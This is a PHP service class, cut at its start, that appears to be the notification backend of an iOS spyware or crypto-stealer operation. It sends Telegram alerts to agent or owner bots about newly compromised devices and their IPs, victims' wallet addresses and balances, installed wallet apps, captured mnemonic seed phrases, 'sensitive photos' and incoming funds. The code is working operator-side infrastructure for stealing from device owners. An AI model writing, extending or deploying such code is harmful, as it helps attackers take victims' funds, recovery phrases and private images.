resolveAgentForDeviceKey($deviceKey); if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramBot()) { return [ trim((string) $agent->bot_token), trim((string) $agent->chat_id), ]; } if (! $this->systemEnabled()) { return null; } return [ trim((string) config('coruna.telegram.bot_token')), trim((string) config('coruna.telegram.owner_chat_id')), ]; } public function enabled(?string $deviceKey = null): bool { return $this->resolveDestination($deviceKey) !== null; } public function send(string $text, ?string $deviceKey = null): bool { $dest = $this->resolveDestination($deviceKey); if ($dest === null) { return false; } [$token, $chatId] = $dest; try { $resp = Http::timeout(15)->asForm()->post( "https://api.telegram.org/bot{$token}/sendMessage", [ 'chat_id' => $chatId, 'text' => $text, 'parse_mode' => 'HTML', 'disable_web_page_preview' => true, ] ); return $resp->successful(); } catch (\Throwable $e) { Log::warning('telegram send failed: '.$e->getMessage()); return false; } } public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void { $this->send(implode("\n", [ '📱 New Device', '🔑 Device: '.$this->e($deviceId).'', '🍎 iOS: '.$this->e($ios ?: '—'), '🌐 IP: '.$this->e($ip ?: '—').'', ]), $deviceId); } public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void { $this->notifyNewWallets($deviceId, [[ 'address' => $address, 'chain' => $chain ?: '', 'balance' => $balance ?: '', 'source' => $symbol ?: '', ]]); } /** * Batch wallet alerts into a single Telegram message. * * @param list $wallets */ public function notifyNewWallets(string $deviceId, array $wallets): void { if ($wallets === []) { return; } $lines = [ '💰 New Wallet Address'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''), '📱 Device: '.$this->e($deviceId).'', ]; foreach ($wallets as $i => $w) { $bal = trim((string) ($w['balance'] ?? '')); if ($bal === '') { $bal = '—'; } $source = trim((string) ($w['source'] ?? '')); if ($i > 0) { $lines[] = ''; } $lines[] = '⛓ Chain: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—'); if ($source !== '') { $lines[] = '🏷 Source: '.$this->e($source); } $lines[] = '📬 Address: '.$this->e($w['address'] ?? '').''; $lines[] = '💵 Balance: '.$this->e($bal); } $this->send(implode("\n", $lines), $deviceId); } /** * @param list $wallets */ public function notifyInstalledWallets(string $deviceId, array $wallets): void { $wallets = array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $wallets), static fn ($n) => $n !== '')); if ($wallets === []) { return; } $this->send(implode("\n", [ '👜 Installed Wallets', '📱 Device: '.$this->e($deviceId).'', '🏷 Wallets: '.$this->e(implode(', ', $wallets)), ]), $deviceId); } public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void { $this->send(implode("\n", [ '🔐 New Mnemonic', '📱 Device: '.$this->e($deviceId).'', '🏷 Source: '.$this->e($source ?: '—'), '📝 Mnemonic: '.$this->e(WalletMnemonic::maskSecret($memoric)).'', ]), $deviceId); } public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void { $this->send(implode("\n", [ '🖼 Sensitive Photo', '📱 Device: '.$this->e($deviceId).'', '🎯 x-hit: '.$this->e((string) $xHit), '📦 Count: '.$this->e((string) max(1, $count)), ]), $deviceId); } public function notifyBalanceChange( string $deviceId, string $address, string $symbol, string $amount, ?string $chain = null, ?string $balance = null, ): void { $lines = [ '✅ Balance Inbound', '📱 Device: '.$this->e($deviceId).'', '⛓ Chain: '.$this->e($chain ?: '—'), '📬 Address: '.$this->e($address).'', '💵 Amount: +'.$this->e($amount).' '.$this->e($symbol), ]; if ($balance !== null && trim($balance) !== '') { $lines[] = '💰 Balance: '.$this->e($balance); } $this->send(implode("\n", $lines), $deviceId); } private function resolveAgentForDeviceKey(?string $deviceKey): ?User { $deviceKey = trim((string) $deviceKey); if ($deviceKey === '') { return null; } try { $channelId = Device::query() ->where('device_id', $deviceKey) ->value('channel_id'); if (! is_string($channelId) || $channelId === '') { return null; } $userId = Channel::query() ->where('channel_id', $channelId) ->value('user_id'); if ($userId === null || (int) $userId <= 0) { return null; } return User::query()->find((int) $userId); } catch (\Throwable) { return null; } } private function e(?string $value): string { return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); } }